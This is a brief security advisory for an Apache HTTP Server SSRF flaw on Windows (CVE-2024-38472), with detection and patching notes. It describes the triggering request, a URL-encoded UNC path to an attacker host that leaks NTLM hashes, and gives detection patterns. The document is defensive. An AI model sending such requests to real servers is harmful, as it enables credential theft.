SSRF in Apache HTTP Server on Windows allows to potentially leak NTLM hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note: Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.

  • Exploit sends a GET request with a URL-encoded UNC path (\\<attacker-host>\apachehttpd) to trigger SSRF; detect by monitoring for outbound SMB/NetBIOS connections from the Apache server process to external hosts, which may carry NTLM hashes.
  • Look for HTTP requests containing the URL-encoded UNC path pattern `%5C%5C` (double backslash) in the request URI targeting Apache on Windows, which is the encoded form used to trigger the UNC SSRF.
  • Monitor interactsh/OOB DNS callbacks for the label `apachehttpd` as a canary for successful SSRF exploitation attempts against CVE-2024-38472.
  • Affected versions are Apache HTTP Server 2.4.0 through 2.4.59 on Windows; flag any such version running on Windows as vulnerable.
  • ·After upgrading to 2.4.60, existing configurations that access UNC paths must explicitly allowlist them via the new `UNCList` directive, otherwise UNC path access during request processing will be blocked.
  • ·This vulnerability is Windows-specific; Apache httpd packages shipped with Red Hat Enterprise Linux 6, 7, 8, and 9 are not affected because they run on Linux.
  • ·Red Hat JBoss Core Services (jbcs-httpd24-httpd) is listed as Affected, meaning Windows-deployed JBoss Core Services instances should be prioritised for patching.
